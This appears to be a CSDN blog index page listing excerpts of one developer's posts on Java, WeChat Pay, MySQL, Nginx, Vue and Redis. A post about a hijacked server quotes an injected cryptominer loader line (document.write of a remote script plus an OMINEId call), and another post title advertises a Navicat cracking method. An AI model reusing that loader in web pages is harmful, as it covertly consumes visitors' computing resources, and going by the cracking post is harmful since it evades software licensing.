自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

KOLO的博客

让所有的东西都变得简单。

原创 项目管理软件RedMine的下载,以及项目中一些解决问题的方案

一,问题最近团队在使用RedMine做项目管理,但是自己以前没有接触过,加上引入这个工具的同事已经走了,这个工具的管理估计以后就让我来做了,所以写一个小总结,避免日后再次遇到同样的问题。二,解决方案2.1 下载RedMine在这里使用一种比较简单的安装方式,Bitnami安装RedMine ,安装包如下 :https://bitnami.com/download/files/s...

2019-11-18 19:45:40 186

原创 JAVA8新特性之Stream流

一,问题上文中,大概了解了lambda表达式的书写,然后再这里再看一下stream流的使用。二,解决方案package language.stream;import java.util.ArrayList;import java.util.Arrays;import java.util.List;import java.util.Optional;import java....

2019-06-14 20:36:30 113

原创 Java实现微信的企业付款到零钱

一,问题今天想接入微信中的企业付款到零钱的功能,然后去网上查了一些大佬的博客。然后也实现了。然后记录一下。二,解决方案企业付款到零钱的官方文档:https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay.php?chapter=14_22.1 下载商家证书,然后将apiclient_cert.p12放到项目中①下载商家证书账号中...

2019-06-14 16:10:45 3746 18

原创 Java实现微信的申请退款功能

一,问题今天要将微信的最后一个功能给做完了,这个功能就是申请退款。刚开始我先开了一下文档,发现它跟那个企业付款到零钱特别相似,然后就自己模仿企业付款到零钱把它给实现了。二,解决方法申请退款官方文档:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=9_42.1 下载商家证书,再将证书方法项目中①下载商家证书②将...

2019-06-14 16:10:31 1053 1

原创 JAVA8新特性之Lambda表达式

一,问题最近在了解JAVA8的一些新特性,其中lambda表达式是我们JAVA8提供的一个语法糖,感觉还是挺好玩的,可以让我们的代码更加简洁。因此学习一下。二,解决方案package language.lambda;import java.io.PrintStream;import java.util.*;import java.util.function.BiPredicate;...

2019-06-14 12:05:51 60

原创 JQ插件开发

一,问题最近的业务问题,需要了解一下JQ插件的开发。所以去网上查了一下资料。总结如下。二,解决方案2.1 什么是JQ插件?JQ插件就是用JQ代码编写的工具。就比如说我们用的模板,如EasyUi。我们只需要引入EasyUi的JS文件,然后调用它对应的方法,效果就出来了。2.2 JQ插件有什么用?实现代码的可重用性,以及功能解耦。方便我们使用,我们只需要引入JQ插件的.JS脚本,然...

2019-04-30 11:02:36 805

原创 利用Java的反射操作一个类的所有构造函数、字段、方法

一,问题今天看Spring AOP的时候,有涉及Java的反射机制。想到自己这方面很久没碰了,就去玩一下。想不到反射真的强大的,哈哈哈!!!文章最后面有源代码。二,解决方案2.1 利用获取Class类的三种方式①通过全限定名: Class c = Class.forName("top.kolo.polo.User");②通过类名: Class c = User....

2019-03-01 19:59:24 254

原创 Spring AOP的个人总结

一,问题今天将代理模式中的静态代理、JDK动态代理跟Cglib的动态代理进行学习,然后顺便了解一下Spring AOP的一些原理二,解决方案Spring AOP:AOP是面向切面编程,它可以实现在原有代码不进行修改的情况下,对该方法进行增强或者说在运行时动态地给它添加代码。那它是怎么实现的呢?我们首先在配置文件中,将通知类和目标类加载到IOC容器中,然后再定义切面,切面里面由通...

2019-03-01 18:22:25 210

原创 静态代理、JDK的动态代理以及Cglib的动态代理

一,问题最近想看一下Spring的AOP源码,因为它里面涉及到了代理模式,所以就先了解一下我们常用的代理模式。其中包括静态代理、JDK的动态代理和Cglib的动态代理。在这个文章会简要地介绍这三种代理模式,同时会提供相应的实例案例。二,解决方案2.1 静态代理①特点:代理类的代码,在程序未运行前就已经处理好②实现:UserInterfacepublic interface...

2019-03-01 16:04:42 164

原创 MySql增删改查的优化

一,问题最近想看一下Mysql方面是怎么进行的优化。按照我的想法,mysql主要就增删改查操作,所以我想从这四个方向进行入手。二,准备工作2.1 建立数据库和表课室表:CREATE TABLE `class` ( `class_id` int(11) NOT NULL AUTO_INCREMENT COMMENT '课室id', `student_id` int(11)...

2019-02-25 19:48:24 463 4

原创 MySql插入中文提示Incorrect string value: '\xE4\xBB\xB2\xE6\x81\xBA...' for column

一,问题今天在往mysql插入数据的时候,发现MySql提示Incorrect string value: ‘\xE4\xBB\xB2\xE6\x81\xBA…’ for column。后来查了一下,找出了问题,因此记录一下。二,解决方案2.1 查找问题执行: show create table `表名`2.2 解决问题①修改表的编码:alter table `表名` ...

2019-02-25 14:48:24 1179

原创 基于Maven在IDEA上搭建多模块项目

一,问题最近在学习SpringCloud,想试着将以前的单机项目改成多模块项目,然后找到了一个前辈的分享。按步骤一步步尝试之后,成功了。因此记录一下。二,解决方案前辈帖子:https://blog.csdn.net/williamHappy/article/details/54376855...

2019-02-13 15:42:06 55

原创 后台使用@ResponseBody注解后,前端提示415错误

一,问题今天一位朋友遇到一个前端json格式的字符串无法传递到后台的问题,当时他在前端使用JSON.stringify(对象),将对象转成JSON格式的字符串之后,后台使用@ResponseBody准备将这个JSON格式的字符串转化成对象,然后对后台的对象赋值。但是前端却提示415,说什么Unsupported Media Type。二,解决方案2.1 找出问题所在我将前端转化得到...

2019-02-13 14:07:40 255

原创 服务器被恶意挖矿脚本注入,一个zigw进程占用99%的cpu资源

一,问题最近无聊,想hexo搭建一个个人博客,但是在搭建的时候发现,在打包部署hexo项目的时候,第一次可以成功,但是第二次就会提示document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284

2019-01-25 14:58:15 977

原创 启动Vue项目,提示There is likely additional logging output above.

一,问题最近,另外一个成员将它的Vue项目发给我了。由于它并没有将node_modules文件夹也拉给我,所以提示了很多错误。在这里记录一下这些错误。下次遇到也可以快速解决。二,解决方案2.1 问题主要是没有node_modules文件夹里面的js等文件npm ERR! code ELIFECYCLEnpm ERR! errno 1npm ERR! y@1.0.0 dev: ...

2019-01-18 09:29:45 2833 5

原创 Nginx负载均衡的实现

一,问题昨天大概学习了Nginx的一些安装以及基本用法,现在再总结一下负载均衡的基本实现。二,解决方案2.1 nginx的主要功能解释负载均衡:将用户请求分发到不同的服务器去处理,不用所有的用户请求都只请求单一服务器。一般在服务器那边会做一个集群。反向代理:在用户的角度上来看,用户是访问代理服务器(nginx)来获取数据的,所以用户并不知道真正提供数据的是nginx后的哪一个后端...

2019-01-11 10:05:49 73

原创 CentOs安装Nginx

一,问题最近想学一下Nginx,看如何实现它的负载均衡跟反向代理。因此,第一步就是需要安装Nginx二,解决方案2.1 下载相关的安装包①nginxwget http://nginx.org/download/nginx-1.15.8.tar.gz ②openssl-fipswget http://www.openssl.org/source/openssl-fips-2....

2019-01-10 14:44:59 79

原创 解决找不到javax.servlet.http.HttpServletResponse和javax.servlet.http.HttpServletRequest

一,问题今天将项目进行迁移,迁移后,重新拉去项目,发现一堆报错,其中就有javax.servlet.http.HttpServletResponse和javax.servlet.http.HttpServletRequest找不到。很纳闷,因为这个是response和request是很基础的两个类。按道理不会出现这种情况的。二,解决方案2.1 修改Ecplise上的配置项目=》右键...

2019-01-04 16:33:58 3274

原创 ubuntu的部分常用命令

一,问题以前比较习惯用CentOs系统,但是因为新项目用了Ubuntu,所以有些指令会有所不同。因此,在这里记录一下。二,解决方案2.1 查看正在运行的程序及占用的端口号:sudo netstat -ntlp2.2 查看当前所有tcp端口netstat -ntlp2.3 查看某个端口的使用情况netstat -ntulp |grep 80 ...

2019-01-04 16:02:47 42

原创 Navicat连接阿里云的RDS数据库

一,问题最近我们的项目组买了一个阿里云的RDS数据库,但是不知道怎么样用Navicat去链接该数据库,因此去查了一下资料。二,解决方案2.1 RDS默认是只能内网访问2.2 先链接阿里云的ECS进入内网2.3 进入内网后,再链接RDS2.4 点击确定即可...

2019-01-04 14:18:04 1519 3

原创 将MySql上的数据导入到Redis中

一,问题这段时间学完了Redis,因为Redis是基于内存的数据库,它查询数据的速度比查询mysql要快,因此,下一步,我就需要将mysql上的数据导入到Redis中。二,解决方案2.1 mysql数据导入redis的原理利用redis持久化方式中的AOF方式,我们将mysql的数据查询出来,同时让数据与一些符号进行拼接,得到一个类似AOF文件的内容。我们将该内容交给redis去执...

2019-01-03 13:43:19 1388

原创 Java的乱码问题

一,问题乱码是如何产生的,当我们从磁盘或许是从网络中读取数据的时候,如何使用的解码方式,跟数据的编码不一样,那么就会产生乱码。这种道理就好比,我们的数据是通过加密之后,然后才存入数据库的,到时候如果需要查看数据库中的数据,我们必须要用对应的解密算法才能得出正常的结果。二,解决方案2.1 编码转换(不一定能完成转换成功) /** * 测试乱码问题 */ ...

2019-01-02 14:10:44 57

原创 JAVA实现微信支付功能

一,问题这两天,需要接入微信支付功能。由于我是公众号开发,因此,我选择的微信支付方式是JSAPI支付方式。二,解决方案2.1 配置微信平台①配置微信公众平台登录微信公众平台=》公众号设置=》功能设置=》网页授权域名②配置微信商家平台产品中心=》开发配置2.2 后台代码的实现JSAPI官方文档:https://pay.weixin.qq.com/wiki/doc/api...

2018-12-27 15:11:59 17769 14

原创 微信提示【调用支付jsapi缺少参数 total_fee】

一,问题今天接入微信支付的时候,微信那边提示我这个信息。但是我再三检查,还是觉得不是缺少参数 total_fee的问题。我明确我已经传过去了。二,解决方案2.1 我将内容进行打印发现本地测试没问题。后来看了一下linux上的日志文件!xmlStrΪ��<xml><return_code><![CDATA[FAIL]]></return_code...

2018-12-27 12:53:18 11843 6

原创 SpringMvc利用@ResponseBody返回JSON数据时,提示406错误

一,问题今天想给前端一个Map集合,虽然我使用了@ResponseBody注解,想将这个Map转成JSON,然后再发送回去。但是前端依然报406错误。二,解决方案2.1 去下载jackson-Databind、 Jackson Core、Jackson Annotations的jar包①网站:https://mvnrepository.com/search?q=jackson-databi...

2018-12-27 10:12:39 151

原创 【获取OpenId】解决微信提示errcode":40163,"errmsg":"code been used

一,问题今天将项目放上linux服务器做测试的时候,获取openid的接口竟然出错了,提示我说errcode":40163,“errmsg”:"code been used。二,解决方案2.1 寻找根源,解决问题去网上找了很多资料,说什么静态资源只加载一次的。但都跟我的开发不相符。因为我的code是微信那边动态传给我的。按道理不会有什么问题。后来去看了日志文件,发现提示我的代码有...

2018-12-20 14:08:08 2534 4

原创 【微信】获取用户OpenId等信息

一,问题由于以前跟微信相关的操作都不是我来负责的,但是最近跟那边的人对接非常多问题。因此,我决定自己去实践一下跟微信的操作。第一步就是去拿用户的openid等信息。二,配置腾讯开发者平台2.1 申请微信的测试号,拿到AppId和AppSecret地址:http://mp.weixin.qq.com/debug/cgi-bin/sandboxinfo?action=showinfo&...

2018-12-19 19:15:20 98

原创 深入理解Java虚拟机_JVM高级特性与最佳实践PDF 第2版

一,概述最近在CSDN上找了一个JVM的PDF文件。分享给大家。二,链接链接:https://pan.baidu.com/s/1UM6SQuzGAF5fQP_PS9_fPA提取码:ofbn

2018-12-19 14:00:00 1820 1

原创 在CentOs上安装Redis

一,问题最近想在项目中,尝试接入redis技术。于是第一步就是要在linux系统上安装redis二,解决方案2.1 新建一个redis文件夹,然后在该文件夹下载Redis:新建redis文件:mkdir redis下载redis:wget http://download.redis.io/releases/redis-5.0.2.tar.gz2.2 解压压缩包tar -zxv...

2018-12-13 15:38:07 88

原创 解决在VirtualBox上安装CentOs系统不能上网问题

一,问题今天在自己的虚拟机上按照centos,发现自己在安装系统的时候,少做了一步网络配置。后来真的就上不了网了。二,解决方案2.1 进入VirtualBox的设置页面2.2 设置网络2.3 进去CentOs系统,设置网络进去目录: cd /etc/sysconfig/network-scripts查找一个:ifcfg-eth开头的文件编辑该文件,将onboot...

2018-12-12 13:56:11 403

原创 在IDEA上运行java类

一,问题之前的IDE是用ecplise的,但是现在换成IDEA进行开发。之前一直想不懂,为什么用ecplise能够通过右键选择运行java类,而IDEA不行。二,解决方案2.1 新建项目:java web项目、java项目都行2.2 在项目中新建一个java类,并在类中写一个main方法2.3 选择该java类,右键,就能看到运行按钮...

2018-12-12 08:50:49 4074

原创 安装Tomcat的监控工具Probe

一,问题以前将项目部署到服务器之后,要查看日志文件总是要登录服务器上查看,很麻烦,就很想找一个监控tomcat日志的工具,后来查了一下,说这个probe挺好的。轻量,有web可视化界面,也确实很方便。二,解决方案2.1 下载最新版的probe.war:github地址:https://github.com/psi-probe/psi-probe/releases2.2 将下载...

2018-12-11 09:45:22 287

原创 如何将Maven项目放到tomcat上

一,问题因为之前项目都是直接使用jar包的,没有使用maven,现在想改一下,改成maven项目,改成之后再放到tomcat上。二,解决方案2.1 利用maven的Maven Install命令打成war包2.2 获取在target文件中生成的war包2.3 将war包改成其他名称,然后放到tomcat的webapps下即可。...

2018-12-10 19:10:45 606 1

原创 在一个服务器的svn上,设置一个端口号对应一个项目

一,问题最近想在自己的服务器上放上两个项目,但是因为以前没有接触过,所以查了一下资料。让一个端口号就对应于一个项目。二,解决方案2.1 在svn服务端新建svn仓库在某个目录下执行svnadmin create user,创建名为user的仓库2.2 进去user仓库,设置用户组、用户权限①进去仓库user的conf目录:cd user/conf②编辑passwd文件,添加用户...

2018-12-09 16:54:02 1065

原创 解决在微信内置浏览器上定位失败问题

一,问题今天将vue项目部署到服务器上,然后在微信公众号那边接入该前端的接口,进去一看,发现有一个按钮的定位失败了。一脸懵逼,我在本地的浏览器上没问题的呀。后来查了资料,说微信是用QQ浏览器X5内核的,那个内核有点问题。对一些css效果支持不是很好。二,解决方案2.1 检查问题所在我通过F12查看该按钮的属性,发现float:right是失效的,没有效果。因此我改用了positio...

2018-12-07 11:26:25 11455

原创 Navicat Premium 12破解方法

一,问题最近想换一个连接mysql的可视化工具,后来查了一下资料,觉得navicat好像挺不错的。然后去查了一下资料。二,解决方案2.1 去官网下载最新版的navicat premium官网地址:https://www.navicat.com.cn/download/navicat-premium2.2 对Navicat Premium进行安装,安装完先别打开应用2.3 下载激...

2018-12-04 10:19:15 127

原创 修改Vue打包后的默认文件名

一,问题因为我想在我的服务器上部署两个vue项目,但是vue打包后默认的项目名是dist,这样子就跟我上一个vue项目冲突了。因此查了一下资料。二,解决方案进入config ⇒ index.js,在build中将dist关键字改成其他名称即可。...

2018-12-03 19:30:08 6601 4

原创 SVN提示Checksum mismatch for expected: , actual:

一,问题今天在提交SVN的时候,发现有几个文件提交上去之后,提示错误。然后去网上找了很多资源,终于成功了。然后将过程总结给大家。二,解决方案2.1 先进去备份提示错误的文件(重点!!!)2.2 再将提示错误的文件删掉,然后update2.3 在window的doc窗口下,进到这个错误文件的目录2.4 执行先执行svn update --set-depth empty,后执...

2018-12-03 16:05:28 4140

原创 Vue中用{{}}无法取出值

一,问题今天做项目时,发现自己通过ajax获取到的数据,竟然无法渲染到页面上面,但以前都是没问题的,并且通过console打印出来也是没问题的。二,解决方案2.1 代码2.2 分析原因:执行了ajax后,在ajax回调函数中使用this,其指向的不是当前vue实例,而是ajax对象。所以会出错。修改:我在ajax外部使用了this_来指向当前vue实例,这样子,到时候取出aj...

2018-12-02 18:20:40 2236

原创 在一个电脑上同时跑两个以上tomcat

一,问题最近在尝试同时启动两个tomcat,但不知道怎么弄。后来找了一些方法。二,解决方案2.1 准备2个tomcat我是直接去tomcat官网,下载一个8.5版本tomcat和一个9.0版本的tomcat的压缩包,然后解压出来即可。2.2 配置8.5版本的tomcat文件①用记事本打开startup.bat,然后添加一个句话SET "CATALINA_HOME=F:\jav...

2018-11-30 09:19:05 369

提示
确定要删除当前文章?
取消 删除